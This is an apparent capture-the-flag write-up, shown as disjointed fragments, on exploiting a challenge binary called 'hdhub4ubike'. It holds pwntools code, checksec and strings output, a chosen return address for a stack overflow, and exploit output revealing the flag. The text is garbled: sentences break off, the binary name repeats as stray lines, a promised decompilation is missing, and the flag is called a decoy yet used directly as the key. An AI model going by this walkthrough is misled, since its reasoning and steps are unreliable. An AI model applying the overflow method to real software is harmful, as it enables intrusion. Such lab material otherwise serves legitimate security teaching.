p.sendline(payload.decode('latin-1')) # send as a line p.interact() # hand over the terminal
$ checksec --file=hdhub4ubike ... PIE: No NX: No RELRO: No Canary: No FORTIFY: No The binary – we have all symbol names! 2.2 Strings $ strings -a hdhub4ubike | grep -i flag flagh0p3_y0u_f0und_th3_h1d3_b1k3 Whoa! The flag is already present in the binary! This is a typical “decoy” – the binary will only print the flag after a successful key check. The challenge is to bypass that check. 2.3 Disassembly (Ghidra/IDA) Opening the binary in Ghidra shows the following (pseudo‑C) reconstruction of the relevant functions: hdhub4ubike
0x0040119f: lea rdi, [rip+0x2000] ; address of the flag string 0x004011a6: call puts@plt 0x004011a6 is the (the call instruction itself). If we return to this address after the overflow, the program will execute the puts call with the correct argument already loaded (the lea instruction that loads the flag pointer into rdi is right before it). The flag is already present in the binary
$ ./exploit.py === Welcome to the HD Bike Hub === Enter your hub key: flagh0p3_y0u_f0und_th3_h1d3_b1k3 flagh0p3_y0u_f0und_th3_h1d3_b1k3 Congratulations – you’ve successfully bypassed the hub‑key check and recovered the flag from hdhub4ubike ! 🎉 hdhub4ubike